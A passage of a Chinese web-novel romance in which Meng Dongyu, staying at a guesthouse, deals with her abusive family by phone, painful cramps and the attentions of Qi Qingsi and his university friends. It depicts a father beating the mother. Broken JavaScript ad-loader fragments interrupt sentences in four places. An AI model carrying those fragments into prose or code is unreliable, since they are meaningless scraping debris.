祁清肆嗤笑了声:“少废话,你的那盒从你工资里扣。” 既然童欣瑶都付了钱,那孟冬愉也没道理不付。 她掏出手机,看向祁清肆:“多少钱,你把付款码给我。” 祁清肆噙着笑意点了下头,调出微信二维码,沿着餐桌推到孟冬愉面前,手指敲了敲屏幕:“九块九,加我微信转我。” 童欣瑶闻声抬头:“九块九?它家酥冰什么时候降价了?” 祁清肆漫不经心地挑眉:“他们老板看我长得帅,给我打了折行吗?” 童欣瑶显然不信,她眼睛滴溜溜地转了一圈,而后恍然大悟:“祁清肆,你想要冬天姐姐的微信就直说啊。” “干嘛还绕这么大一圈儿?” 祁清肆倒是没否认。 他似笑非笑地看了眼孟冬愉,意味深长道:“直说过,但冬天姐姐不加啊。” 孟冬愉:“……” 他这么一说,倒显得是她矫情了。 加个微信而已,她也没说不加。 孟冬愉掏出手机扫了他屏幕上的二维码,而后发送了好友申请。 祁清肆满意地将手机捞了回来,飞快地点了通过之后,又抬头看她:“祁清肆,昵称就是本名。” 虽然不理解他突如其来的自我介绍是什么意思。 但孟冬愉依旧点了点头:“我知道。” 祁清肆闻言哼笑:“我还以为你不知道。” 孟冬愉没理会他的阴阳怪气,指了指面前正在融化的甜品,正色地问道:“这个具体多少钱,我转给你。” 祁清肆换了个舒服点的坐姿,懒散地重复童欣瑶方才的话:“放心吃,祁清肆请客,不要钱。” 知道现在硬要转给他,他也不会收,可能还会像上次她转药钱一样,再次听到他的阴阳怪气。 孟冬愉没再坚持,想着等租约到期结算时看看能不能多付些小费。 她把勺子的包装袋拆开,品尝了下让童欣瑶赞不绝口的酥冰。 细腻的奶油冰沙入口即化,混合着芋泥的清香,冰冰凉凉,甜而不腻,让人忍不住一口又一口地吃下去。 童欣瑶的那盒已经见底,祁清肆的话音落,她就马上接了话:“祁清肆,我怎么感觉你有点不对劲?” 祁清肆挑眉:“哪里不对劲?” 童欣瑶把手中的勺子放下,捏着下巴上下打量了他一眼:“我昨天刚和冬天姐姐提了一嘴市中心这家酥冰好吃,你今天就买了回来。” “你应该不是做了什么对不起我的事,才对我这么殷勤的吧?” 祁清肆瞥了她一眼,间接否认:“真会给自己贴金。” 童欣瑶目光在祁清肆和孟冬愉的身上逡巡了片刻,而后话锋一转:“所以,你是不是喜欢冬天姐姐啊?” 刚刚这一勺挖得有些满,刚送入口中,就听到了童欣瑶这句话。 口腔被冰到,耳朵被惊到,孟冬愉本能地愣了一下。 喜欢她? 孟冬愉又忽然想起上午宋相宜找她说的那些话。 现在好像有些明白了她话里的意思。 只是她和祁清肆才认识没几天。 怎么会…… 孟冬愉抬头,直白地向他确认:“你喜欢我?” 似乎没料到她会是这个反应,祁清肆怔愣了一下,而后散漫应声:“孟冬愉,帽子不是这么扣的,我可没什么都没说。” “那就好。”孟冬愉点了点头,想了一下,又接着补充,“我也说过我对你没兴趣。” 虽然不确定他的话是真是假。 但是把感情扼杀在摇篮里这件事情,孟冬愉很擅长。 祁清肆垂眼把玩着桌布上的流苏,密而长的睫毛遮挡住眸色。 片刻后,他才扯起唇角笑了下:“行,知道了。” 童欣瑶敏锐地察觉到氛围不太对,开玩笑般揽着孟冬愉的肩膀,扬声道:“冬天姐姐是我的,你们谁都别和我抢。” 祁清肆嗤笑:“没人和你抢。” 话音落,他起身出了门。 童欣瑶接着在孟冬愉身边叽叽喳喳,从吐槽祁清肆讲到影视明星的八卦绯闻。 孟冬愉有一句没一句地应着,酥冰吃完,一个下午过去了。 童欣瑶看了眼时间,又拉着她去秋意街吃了晚饭。 直到回到房间,孟冬愉耳边才算清净了下来。 刚坐下来翻了几页书,手机铃声忽然响起。 孟冬愉看了眼来电,将手机调成静音,没去接听。 片刻后,电话再次打来。 一次、两次、三次、四次…… 直到第五次,孟冬愉叹了口气,划过屏幕,将手机放到耳边。 没等孟冬愉开口,对面一道疲惫的中年妇女的声音先传来,带着点小心翼翼:“楠楠,在忙吗?” 是她母亲。 施荣。 孟冬愉皱了皱眉头,提醒她:“妈,说了多少次了,我叫孟冬愉。” 施荣讪讪笑了一声,连忙改了口:“冬愉啊,今天……发工资了吧?” 孟冬愉看了眼日期——15号。 是她在职时的发薪日。 孟冬愉抿了抿唇角,犹豫了片刻,还是开了口:“我辞职了。” 施荣闻言,语气带着不理解:“那么好的工作怎么说辞就辞了?” 孟冬愉没吱声。 施荣似乎并不是真的在乎她是因为什么原因离职的,又接着问:“现在有找到新的工作吗?” 孟冬愉闭了闭眼,如实回答:“我想休息一段时间。” 双方沉默了片刻,施荣被一道男声催促着再次开口:“你现在手头上有没有钱啊?你爸爸他……” 孟冬愉深吸了口气,回答得斩钉截铁:“没有。” 话音刚落,对面的打骂声顺着听筒传来。 “不争气的婆娘,你要是生个儿子,我们老孟家也不至于这么多年抬不起头。” 施荣的声音带着点哭腔,还有些闷,应该是捂住了听筒:“建华,孩子还听着呢。” “砰”地一声,什么东西被扯开了,电话里的男声再次清晰了起来。 孟建华恶狠狠道:“我就是让她听着,老子辛辛苦苦把她养大,结果养出个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 白眼狼。” “别人家的儿子每个月几万几万的给他爹娘打钱,你生的这个没出息的东西,每个月问她要几千块,跟要了她命似的。” “现在还一声不吭地把工作给辞了,要知道有今天,老子他娘的当初就该把她掐死。” 施荣哭着劝说:“孩子一个人在外面也不容易。” 玻璃瓶被摔碎,孟建华哼了一声:“要不是你天天护着,她能变成今天这样?” “你们他娘的就是欠打。” 紧接着,是拳打脚踢的声音,伴随着痛苦、压抑又隐忍的哭声。 那些黑暗的记忆再次涌来,孟冬愉无力地将头垂下去。 她拼命地咬着嘴唇,身体止不住地发抖。 她强压着哭腔,闭上眼睛给出了承诺:“孟建华,你别打她了。” “明天,明天我去银行给你们汇款。” 电话挂断,孟冬愉缩在床边,胳膊环着膝盖,目光呆滞地望着前方,泪水麻木地往下涌。 每次她以为要突破枷锁的时候,就会被人肋着脖子拽回去。 窒息般的痛苦。 也是。 她这种从一出生就不被期待的人,哪里配有什么新的开始? 身体一股热流往下涌,小腹开始下坠一般疼痛。 孟冬愉的生理期向来不准,不知道是今天吃了冰的缘故,还是情绪过于激动,这次竟然提前了两周。 童欣瑶提醒过楼下的储物间有为租客准备应急的卫生巾和生理用品。 家庭常用药的医药箱也在此处。 小腹的绞痛感越来越重,孟冬愉洗了把脸,强撑着下了楼。 储物间中卫生巾的位置放得很显眼,孟冬愉拿了一包塞进口袋,而后去医药箱试图找止痛药。 药还没找到,身后倒先传来祁清肆的声音。 他倚在门上,还是带着些漫不经心:“孟冬愉,干什么呢?” 痛意促使孟冬愉皱了皱眉,她抬头看他,问道:“有布洛芬吗?” 她此刻脸色苍白,眼睛却通红,祁清肆开始有些慌。 他走过去,抬手探了探她的额头,确认不是发热后,又问道:“怎么了?哪里痛?” 面对他的关心,那种不配德感再次燃起。 孟冬愉莫名想去排斥,她与他拉开些距离,冷冷地回应:“没事,只是生理期。” 看着她强撑着的神色,祁清肆没去多想她此刻的反应,他捉住她的手腕,态度坚持:“我送你去医院。” “酥冰是我买的,我得对你负责。” 孟冬愉挣脱开他的手:“不用。” 之前也有过这么痛的时候,吃了药忍一忍就好了,没必要这么小题大做。 祁清肆深吸了口气,咬着牙道:“孟冬愉,你能不能别那么倔啊?” “太痛了就去看医生,为什么非要死撑着?” 小腹的绞痛感越来越难忍,孟冬愉现在没心思听他说什么,只想赶快找到止痛药。 心底一股烦躁袭来,她皱着眉头冷眼看他:“我的事情不需要你管,你能不能别自作多情?” 闻言,祁清肆愣了片刻,而后有些自嘲地扯了扯唇角:“孟冬愉,你挺会伤人的。” 看吧。 所有接近她的人最后都这么说。 孟冬愉咬着嘴唇继续去翻医药箱,头也没抬地漠然应声:“那你就离我远一点。” 13. 温暖 孟冬愉最终在医药箱的最底层找了一盒临期的止痛药。 她在楼下就着热水将药吃掉,蹙着眉头回了房间。 小腹里像是有电钻在搅动似的,速度一点点加快,旋转撕扯。 连带着胃里都翻江倒海,干呕了几次也没能缓和半分。 疼痛将力气耗尽,脚步虚浮又头晕眼花,孟冬愉蜷缩着躺回床上,冷汗不停地往外冒。 其实她每年都会经历很多次这样的时候,很多人也和她说像她这种生理期及其不准的情况,最好不要贪嘴去吃冷的冰的。 但是人总是会本能地会忘掉一些疼痛,等到下一次疼痛来临时又开始后悔,怎么就忘了上次经历过的。 就这样周而复始,疼痛、忘掉疼痛、再次疼痛…… 就像她永远摆脱不了那个她想要逃离的家庭一样。 不知道是药效的作用还是疼痛的作用,孟冬愉闭着眼睛半梦半醒间,光怪陆离的梦境在脑海中走马灯似的变换。 十四岁那年初潮来临,她低着头走进小卖部,从最里面的货架上拿了几片散装的卫生巾。 便宜又劣质的卫生巾上还要垫着一层厚厚的、又硬又粗糙的厕纸。 同学看到后嫌弃的眼光,每次都让她感到脸上火辣辣地疼。 寒冷的冬天,她蹲在冰冷的池水边,揉搓着全家的衣服。 双手刺骨到快要麻木的疼痛一点点掩盖掉小腹的坠痛。 身边是邻里“懂事”、“听话”的夸赞声。 疼痛难忍到蜷缩在角落,施荣抚着她的头发安慰:“以后生完孩子就好了。” 孟建华在一旁不耐烦地皱着眉:“有那么痛吗?” 量最多的那次,她脸上毫无血色,在头晕目眩中强撑着做题。 血迹渗透了裤子,贫血晕倒前,耳畔传来模糊的声音:“女的就是麻烦。” …… 急促的敲门声让孟冬愉从梦魇中挣扎着醒来。 混沌的意识没有完全回笼,她没来得及反应谁会在午夜敲门,大脑就先支配着身体,本能地起身开门。 直到看到门前站着的人,孟冬愉的脑子才算清醒了几分。 先前在储物间她说完那句“那你就离我远一点”之后,便扭头走掉的人,此刻又出现在她的门前。 他手中拿着个保温杯,还拎着一个透明的塑料袋,衣服还是下午穿的那件,只是有些风尘仆仆。 没等孟冬愉开口,他抬手将袋子递了过来。 袋子中装着几包五颜六色的卫生巾,一盒暖宝宝和一盒全新的止痛药。 疼痛让人变得迟钝,孟冬愉的视线从他的手中移到他的脸上,张了张口,却不知道该问些什么。 见她不接,祁清肆原本冷着的脸挂上一丝委屈:“孟冬愉,真打算和我撕破脸啊?” 闻言,孟冬愉抿着唇角摇了摇头。 祁清肆叹了口气,拉着她的手腕,将袋子挂到她的胳膊上,又将保温杯塞到她的手中。 他看了她一眼,一句一句地叮嘱道:“保温杯里的红糖姜枣茶趁热喝。” “袋子里面的止痛药六个小时后再吃。” “没买到热水袋,暖宝宝可以多贴几片。” 他柔和的话语声随着夜风送入她的耳中。 孟冬愉整个人也被微凉的风吹得更加清醒了一点儿。 不知怎么的,孟冬愉忽然想起了那个她经过反复试探和确认最后才同意和他在一起的前男友。 他也会温柔地叮嘱她多喝热水,但好像也就仅限于嘴边上的安慰。 偶尔几次吵架后,他就会不耐烦地说:“明知道会痛,为什么还要贪嘴?” 已经在糖衣炮弹中栽过跟头,孟冬愉本以为这些经历会让她更加理智。 而眼前这个被她三番五次推开的人,一声不吭地把所有她可能需要的东西递到她面前。 木犀巷附近没有二十四小时营业的药店,这个时间点早就关门了,这个季节暖宝宝也不好买。 可他还是全都买来了。 鼻尖莫名有些泛酸。 孟冬愉垂下头不去看他:“谢谢你。” “不用谢。”祁清肆扯着唇角哼笑,语气带着点自嘲,“我这个人就喜欢自作多情,还爱多管闲事儿。” 话说完,他转身往自己的房间走,刚走了没两步,似乎想起了什么,又回过头来接着补充:“要是实在忍不了就和我说,我陪你去医院。” 夜风吹得人眼睛发酸,孟冬愉拎着袋子站在门口,看着他渐行渐远的背影,忽然又想起宋相宜的那句话。 【喜欢他,不是因为他对我有多好,而是因为他本身就是一个很好的人。】 那么。 他对她的好,也是因为他本身就是一个很好的人吗? 保温杯里的红糖姜枣茶应该是刚煮好的,喝起来还有些烫嘴。 不知道是不是心理上的作用,难闻的姜汁从口腔顺着喉咙滑入肠胃,疼痛似乎都缓解了不少。 楼下储藏室里应急的只有常规的日用型卫生巾,祁清肆拎来的袋子中放着的是花花绿绿的各种型号。 还是第一次察觉到他做事情这么周全。 而且,平日里吊儿郎当的一个人,孟冬愉无法想象他是怎么走进超市将这些东西光明正大地拿出来。 孟冬愉收拾好,将暖宝宝贴上,再次回到躺回床上。 药效好像也开始一点点起了作用,她在不知不觉中睡了过去。 这次的梦境不再是那些痛苦的回忆,不过醒来时已经记不清究竟梦到了什么。 接下来的两天,孟冬愉基本上都是在民宿的房间里待着。 虽然吃了药没有第一天那么疼痛难忍,但是她明显感到整个人都懒懒地没什么力气。 于是蒙着头睡了一觉又一觉。 祁清肆这两天好像对做菜来了兴致,每天一日三餐准时准点让童欣瑶喊她下去吃饭。 每次餐桌上都会多一道不属于南江特色的粥或汤。 至于祁清肆本人,自从那晚送完温暖之后,没再主动和孟冬愉说过一句话。 他在饭桌上也是冷着一张脸,像人人都欠他几百万似的,对谁都爱答不理的。 惹得童欣瑶每次都在孟冬愉面前咬牙切齿地吐槽。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 经过两天的修整后,一个风和日丽的下午,孟冬愉再次去了祁振强的木雕店。 祁振强这次见到她,态度比上次好上不少。 他脸上挂着点笑意,指了指视野中心的那套木雕:“昨天摆出来之后,不少人进来问价。” “不过我没卖。” 孟冬愉顺着他的视线望了过去。 商品架上放着的是已经复刻出来的那套十二生肖的木雕。 祁振强到底是有基本功在,这套木雕雕刻地比原版更加惟妙惟肖。 孟冬愉注意力回到他的话上,问道:“是因为没定好价格吗?” “那倒不是。”祁振强摆了摆手,似乎想到了什么,又有些欲言又止。 他犹豫了片刻,再次开口:“姑娘,能不能拜托你一件事情?” 祁振强主动找她帮忙这件事情,让孟冬愉有些惊讶。 她礼貌地点了点头:“您讲。” 祁振强把那套木雕一个个装进袋子,而后递给孟冬愉:“这第一套,能不能帮我放到满汀洲民宿?” 话音落,他又不自然地清了清嗓子:“当然,帮我直接给那混小子让他放也行。” 听懂了祁振强话里的意思,孟冬愉抿了抿唇角,有些为难。 她一直没搞清楚,也不太想掺和他们父子之前的恩怨。 更何况,现在祁清肆还在和她赌气,她拿着这些过去,可能只会让他更气。 应该是看出来她的犹豫,祁振强叹了口气,解释说:“我直接送过去,他可能收都不会收。” “我看那小子对你挺不一般的,就想着你能帮我试试,确实有点为难你了。” 挺不一般的? 孟冬愉敏锐地捕捉到他话里的关键词。 从宋相宜找她聊天,到童欣瑶的质疑,再到今天听到祁振强的话,一个个都直截了当地指向她和祁清肆的关系。 虽然因为一开始的住宿乌龙和祁振强的关系,她和祁清肆的交集确实多了点。 但是他们才认识不过几天,她也一直觉得祁清肆这种人对所有人都这样,为什么大家都觉得祁清肆对她一定有点什么? 究竟是当局者迷?还是旁观者想太多? 孟冬愉不知道。 她在心底默默叹了口气,接过祁振强手中的袋子:“我帮你试试吧,不过我不能保证他最后会不会收下。” “没事,他不要你就自己留着。”祁振强松了口气,又做了更大的让步,“或者这两天你要是有空,来我这儿我可以教你雕。” 祁振强的后半句话再次让孟冬愉感到惊讶。 她有些不敢置信地再次确认:“您现在就愿意教我?” 祁振强再次正色道:“既然打了赌,我就提前试试你的水平。” “这些猫猫狗狗都雕不好的人,我是不可能收为学徒的。” 亲自上手了解之后,才能更好地打造一个产品的卖点。 祁振强愿意提前教她,自然是孟冬愉求之不得的。 带着意料之外的承诺和袋子中的“重任”回到满汀洲,孟冬愉主动去敲响了祁清肆的房门。 14. 算账 满汀洲民宿二楼。 孟冬愉站在祁清肆的房门前,连敲了两次都没得到回应。 但是隔着门能隐隐约约听到房间里有一些动静,不像是没人。 手指第三次落到他的门上,门才从里面被打开。 胡杭用胳膊肘压着门把手,脚勾着门,双手在手机屏幕上飞快地操作着,头也没抬地不耐烦道:“祁清肆不在,有事打他电话。” 孟冬愉向室内望了望,确实没看到祁清肆的身影。 眼看着胡杭的注意力全在手机屏幕上,孟冬愉也没再多问,说了句“打扰了”,便打算转身离开。 应该是听出了孟冬愉的声音,胡杭抬头确认了一下,视线又回到手机上:“不好意思啊,冬愉姐,你等我把这局游戏打完。” 木雕肯定是要当面送,孟冬愉也确实想问问胡杭祁清肆去哪了,什么时候回来。 于是她就站在原地,耐心地去看他打这局游戏。 他的操作算不上多流利,甚至有些手忙脚乱。 几分钟后,屏幕画面变灰,“失败”两个大字格外扎眼。 可以说是不出意料。 胡杭倒是没意识到自己的问题,他气愤地划拉着手机退出游戏界面,把失败归结到游戏本身。 “艹,烦死了,狗幻就是想让人花钱买装备,不然这一关怎么都过不了。” 孟冬愉默默地看着他发泄怒火,没吱声。 胡杭以为她对这些不感兴趣,骂了几句游戏公司后,又回到了正题:“冬愉姐,你来找肆哥吗?” 孟冬愉点头问道:“你知道他去哪里了吗?” 胡杭把门完全拉开,又看了眼时间:“肆哥去工作室拿车钥匙了,应该快回来了。” “你要不进来等他一下?” 胡杭语气正常得仿佛在邀请她进客厅坐。 虽然上次已经进去过了,但是这终究是祁清肆的卧室。 她和胡杭在祁清肆的卧室等他回来,哪怕门开着,这件事情也怎么看怎么奇怪。 孟冬愉抿了抿唇角:“还是算了,我去楼下等吧。” 胡杭挠了挠头,不以为意地解释:“没事儿,肆哥不常在这儿住,房间里没什么私人物品。” 不过他也没强行让孟冬愉留下来,而是随手关了门:“那我和你一起下楼等他。” 楼下客厅里,胡杭没忍住又开了一局,结果依旧如预料中一样,以失败告终。 听着他不服气地骂骂咧咧,孟冬愉忍着笑意,试探地问道:“那个……要不我帮你打一局?” 闻言,胡杭愣了一下,而后有些惊讶:“你也玩这个?” 孟冬愉点头:“接触过。” 这款手游是幻宙旗下的一款战略角色部署游戏,孟冬愉当初和他们公司谈合作时,做了不少功课,他们旗下的各种游戏也都玩得七七八八。 虽然算不上多么厉害,但是胡杭通不过的这一关,她还是有把握能打赢的。 胡杭将信将疑地将手机递了过去:“那你试试看?” 像是已经知道结果了一样,他先把安慰的话预支了出来:“打不过也没关系的,这一关很多人都过不去。” “嗯。”孟冬愉也没夸下什么海口,从他手中接过来,没有丝毫犹豫地点了开始。 手指快速地点击着屏幕,画面中的角色开始展现出各种眼花缭乱的操作。 全程在一旁观战的胡杭眼睛越瞪越大,最后整个人都开始呆滞。 不出两分钟,闪着金光的“通关”二字出现在屏幕上。 孟冬愉淡定地把手机递给胡杭。 伴随着一声“卧槽”,胡杭猛地从沙发上弹跳起来,脸上是掩不住的激动。 他像是发现了什么新大陆一样,手舞足蹈抓住了孟冬愉的胳膊:“牛啊冬愉姐,你还有什么惊喜是我不知道的?” 话音刚落,什么东西快速从胡杭耳侧划过,“啪”地一声落到茶几上。 胡杭摸了摸险些被划伤的耳朵,不满地朝身后看去:“祁清肆,你谋杀啊?” 祁清肆冷着张脸,语调带着极大的不爽:“我要是想谋杀,你耳朵现在就没了。” 胡杭不解:“不是,肆哥,我是哪里又惹到您老了?” 祁清肆没搭话,下巴指了指茶几上的车钥匙:“去接人。” 胡杭从桌上捞过被祁清肆扔来的钥匙,撇了撇嘴:“接人就接人,搞那么大动静干什么?” 话说完,他又想起了什么似的,快速调出微信二维码,笑眯眯地对孟冬愉道:“冬愉姐,我们加个好友,以后你想打游戏了随时喊我。” 虽然并不怎么想和他一起打游戏,但是孟冬愉还是礼貌地同意了好友申请。 胡杭兴高采烈地晃着车钥匙,走到祁清肆身边,拉着他的肩膀:“走吧。” 祁清肆拍开他的胳膊,掏出手机,低头转发了一串信息给他:“2号出站口,姓郑。联系方式发你了。” 胡杭有些疑惑看着他:“不是你说要和我一起去的吗?” 祁清肆面色依旧不怎么好看:“我还有事儿。” 胡杭挠头:“什么事儿?” 祁清肆冷笑一声,咬着牙吐出两个字:“算账。” “最近经济不景气,你工作室那边的帐确实得好好算一下。”胡杭似懂非懂地点了点头,又接着提醒,“那我先去了哈,我爸那边你别忘了说。” 目送胡杭离开,孟冬愉起身走到祁清肆身边,还没开口,就先被祁清肆抢了先。 他垂眼盯着她看,唇角绷成一条线,话里带着不悦:“孟冬愉,觉得只有我好欺负是吗?” 什么欺负? 突如其来地问话,让孟冬愉有些懵。 她对上他的视线,不解地问道:“什么?” 祁清肆眼中染上几分失落,又略带自嘲:“为什么不让胡杭离你远一点?” 孟冬愉:“?” 真的不理解他为什么要突然扯上胡杭。 正事还没谈,不能对他的无理取闹不置一词。 孟冬愉带着点疑惑问道:“那我也帮你打一把游戏?” 祁清肆被气笑:“行,当我没问。” 孟冬愉抿了抿唇角:“那天晚上我说话确实有点伤人,如果你介意的话我和你道歉。” 祁清肆语调里带着点不甘心:“道歉有什么用?” 孟冬愉抬头,将话语权交给他:“那你想怎么样?” “你就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不能哄——”祁清肆深吸了口气,“你就不能说些好听的?” 上次去借照片的时候也是这样,让她说些好听的话。 但是她问他想听什么,他又不说。 孟冬愉有些头痛,将手中装木雕的袋子递给他,试图直接进入正题。 祁清肆被她突如其来的举动搞得愣了一下,看着她手中印着蛋糕店logo的手提袋,神色一瞬间缓和几分。 他勾着唇角问道:“送我的?” 孟冬愉霎那间理解了他话里的意思,她直白地向他确认:“你是想要我送你东西吗?” 祁清肆也是个聪明人,他径直接过她手中的袋子,打开,看清楚里面的东西后,脸上又恢复原来的冷。 他嗤笑一声,语调染着嘲讽:“祁振强给你什么好处了?” 就知道他会是这个态度。 孟冬愉无奈地叹了口气,没再过多解释:“如果你不想收的话,我就还回去。” 祁清肆有些好笑地看着她:“孟冬愉,真把自己当跑腿了?” 长久的拉锯战,让孟冬愉感到耐心在一点点耗尽。 她皱了皱眉:“你又不收,我总不能扔了。” 祁清肆哼笑:“谁说我不收?” 孟冬愉:“嗯?” 祁清肆把袋子塞回她手中,回答了方才没回答她的问题:“下次,和你的礼物一起送过来,我就收。” 他帮了她那么多忙,确实该送他点什么。 只是她对他了解太少,真不知道他喜欢什么礼物。 孟冬愉犹豫了片刻,还是问了出来:“那你想要什么?” 送什么礼物还要收礼人教。 祁清肆看了她一眼,既好气又好笑:“你猜。” 孟冬愉没再搭腔,转身回到沙发上用手机去搜索该送些什么。 祁清肆也紧随其后在沙发上坐下,低头打起了游戏。 胡杭走之前,孟冬愉也听了几耳朵他们的对话,于是有些不解再次开口:“你不是要去算账吗?” 祁清肆头也没抬地应了声:“算完了。” 孟冬愉也没再深究下去,沉默着给童欣瑶发了消息。 比起百度,童欣瑶应该更了解祁清肆一点。 你来我往聊了没多久,就听到胡杭在门外喊:“祁清肆,出来接客。” 游戏还在进行中,祁清肆理所应当地把手机递给孟冬愉:“帮我赢一局。” 孟冬愉无奈地接了过去,低头操作他的手机时,听到他满意地笑了声,而后出了门。 游戏胜利,胡杭他们也带着新租客推门进来。 孟冬愉象征性地起身迎接。 来人看见了孟冬愉,脸上挂着几分惊喜。 他熟稔地开口打招呼:“学姐,好巧啊,你怎么也在这儿?” 孟冬愉在脑海中搜寻了一下,对此人并没什么印象。 但是在场的只有她一位女性,对方又是喊的学姐。 她礼貌地点头示意,又疑惑地问道:“你好,请问你是?” 对于孟冬愉并不记得他这件事情,对面的人似乎并没觉得奇怪。 他笑着做了自我介绍:“我叫郑泽,是祁清肆的大学室友。” 15. 暗斗 祁清肆的大学室友,为什么会认识她? 而且还喊她学姐? 来了这么多天,孟冬愉只知道童欣瑶和胡杭都是在南江本地读的大学。 南江大学也算是国内数得上名号的一流大学,而且很多南江本地人都不愿意自己的子女去外城读书。 于是孟冬愉顺理成章地认为祁清肆和他们一样,是在南大读的书。 但是现在看来,好像不是。 孟冬愉看了眼祁清肆,又看向郑泽,将心底的猜测问出了口:“你们也是北传的?” 郑泽理所应当地点了点头:“对啊,我和祁清肆都是北城传媒大学毕业的。” 可是就算是在同一个学校,北传十几个学院,郑泽为什么会认识她? 而她却对他们一点印象都没有。 孟冬愉抿了抿唇角,接着问:“你们也是市场营销专业的?” 郑泽摇了摇头,向她解释:“不是,我们是艺术学院的。我学的播音主持,祁清肆学的音乐。” 北传艺术学院的学生都是些艺考上来的明星、网红,还有些是拿钱砸进去玩的千金小姐和公子哥儿。 像是有一道天然的屏障,孟冬愉她们这些靠高考考进去的普通专业的学生,和他们那些人四年都难见上一回。 郑泽他们的专业和她相隔十万八千里。 孟冬愉更加疑惑她和郑泽在大学时究竟有过什么交集? 连着好几次都没问出真正的答案,这样的聊天效率有点低。 孟冬愉索性开门见山:“那你是怎么认识我的?” 郑泽这次没应声,反而疑惑地看向祁清肆:“你一直没认出来冬愉学姐吗?” 闻言,祁清肆勾着唇角淡淡地“嗯”了一声,语气是不置可否。 郑泽也没再追问,注意力再次回到孟冬愉的问题上,解了她的疑惑:“我们当时选过同一门选修课,好像叫什么音乐鉴赏之类的?我记得我和祁清肆好几次都坐在你后面。” “不过,学姐你听课一直很认真,应该没注意过我们。” 经他这一说,孟冬愉这才想起来。 《中外音乐鉴赏》这门选修课在北传是出了名的难抢,老师是国内知名的作曲家,课堂生动有趣,更重要的是老师上课不点名,期末给分还很高。 孟冬愉本来就对这门课很感兴趣,从大一连着抢了好几年,终于在大四时才抢到。 不过上了一学期的课,她注意力全在课堂内容上,确实也没去注意班级里有哪些同学。 郑泽回忆了一下,接着补充:“我记得当时那门选修课结束后,还有人匿名还发过表白墙,问你有没有男朋友。” 话音落,他撞了下祁清肆的肩膀,又把他扯入话题:“祁清肆应该也记得。” 祁清肆面不改色地否认:“不记得。” 郑泽挑了挑眉,语气有些惊讶:“怎么会不记得?那条动态不是你先刷到的?” 祁清肆唇角挂着点散漫的笑意,给了个答案:“忘了。” 郑泽捏着下巴点了点头,认同般感慨道:“也是,你这个人什么事情都不放在心上。” “现在想想,那时候我们才大一,一眨眼这么多年过去了。” 全程在一旁听他们讲话的胡杭,忽然间插话进来,搭着郑泽的肩膀,朝他挤眉弄眼:“泽哥,都过去这么久了,冬愉姐的事情,你为什么记得那么清楚啊?” 郑泽倒也没扭捏,看着孟冬愉爽朗地承认:“美女谁不爱多看一眼?谁不想多关注一下?” 说完,又顺带吐槽了祁清肆:“也就祁清肆这个人,一米八几的身高,只可惜眼睛长在头顶,美女站到他面前,他都看不到。” 到底是播音主持专业的,骂人的话听着也有趣,孟冬愉不自觉弯了弯唇角。 胡杭上下打量了祁清肆一眼,附和着点了点头:“确实。” 得到了认同,郑泽接着说:“要我说冬愉学姐就是太低调,要不然北传校花排行榜怎么都得有她一席之地。” 胡杭继续表示赞同,而后又补充:“冬愉姐不但是美女,才艺也很牛。” 这让郑泽有些好奇,他问:“什么才艺?” 胡杭嘿嘿笑了两声,故作神秘:“慢慢你就知道了。” …… 孟冬愉高考完选择了离临城很远的北城读大学,大学期间除了埋头读书之外,空余时间就是各种兼职实习。 至于男女之间的情情爱爱,什么表白墙什么情书,她一般都是置之不理。 偶尔遇到有人当面表白,她也是冷冷地拒绝。 久而久之,便有了一堆的流言蜚语。 她一直到现在都觉得,她大学时期,给人留下的印象差极了。 不会讲话,又没情商,伤害了很多试图靠近她的人。 如今从郑泽口中听到难得的正面印象,又面对二人的一顿夸赞,她一时间不知道该作何反应。 没等孟冬愉想好怎么回应,郑泽又再次开口问道:“学姐,话说回来,我听说你一毕业就留在了北城工作,什么时候来的南江啊?” 孟冬愉揉了揉眉心,实话实说:“辞职了,想休息一段时间。” “现在有些工作真不是人干的,每天累死累活,工资是一分钱不涨。”郑泽闻言接话,而后又想到什么似的,凑到孟冬愉跟前,兴致勃勃地给了个提议,“要不学姐,你跟着我搞自媒体吧。” “你这个颜值,再选一个好赛道,绝对能火。” 前几年,自媒体热潮时期,不少人和孟冬愉这么说过。 有这个外形条件在,当网红不比做牛马来钱快还舒心? 但是孟冬愉一直没想过走这条路,一方面是觉得性格不合适,另一方面她还是会从心底里害怕去做这些抛头露面的事情。 应该是以为孟冬愉还在犹豫,郑泽掏出手机,接着说:“这样,你先加我一个联系方式,考虑好了随时和我讲。” 他话音刚落,祁清肆就出了声:“孟冬愉,我手机呢?” 只顾着和他们聊天,孟冬愉这才反应过来,祁清肆的手机还在她手上。 她向郑泽点头示意后,朝祁清肆走了过去,将手机递给他:“这里。” 祁清肆没接,看着她问道:“赢了吗?” 孟冬愉点了点头:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。” 祁清肆笑了声,语气熟稔,像是至交好友:“那再帮我玩一局。” 反正当下闲着没什么事情,再帮他打一局也没什么。 只是他的手机这么长时间没用,早已经息了屏。 孟冬愉方才递过去的手还没收回,她垂眼看了下屏幕,示意道:“你先解个锁。” 祁清肆闻言挑眉,带着点意味深长,好像是在说给别人听似的:“我的密码你不知道?” 孟冬愉:“?” 她怎么会知道? 她第一次接来他的手机帮他打游戏。 孟冬愉耐着性子问:“密码是?” 祁清肆依旧拐弯抹角:“不是和你说过?” 什么时候和她说过? 孟冬愉反应了片刻,才想起来之前用过他的电脑。 她习惯性将各种设备都设置成同一个密码,听祁清肆这么说,他的手机密码和电脑密码应该也是同一个。 孟冬愉确认似的问道:“和电脑的密码一样?” 祁清肆这才满意地点了点头:“嗯。” 听完两人加了密的对话,郑泽也跟着凑了过来,抓住了重点:“不是,祁清肆,你和学姐什么关系啊?我们一起睡了四年,你都没告诉过我你的电脑密码。” “怎么连你手机密码这么私人的东西学姐都知道?” 胡杭倒是没关注这些密码什么的,他挠了挠头,冲孟冬愉嘿嘿地笑:“冬愉姐,你也再帮我打一局行不?” 祁清肆没搭腔,下巴点了点楼梯口,对郑泽道:“二楼,先住我房间,东西都是新换的。” “等下周一号房退租,收拾好了,你再搬进去。” 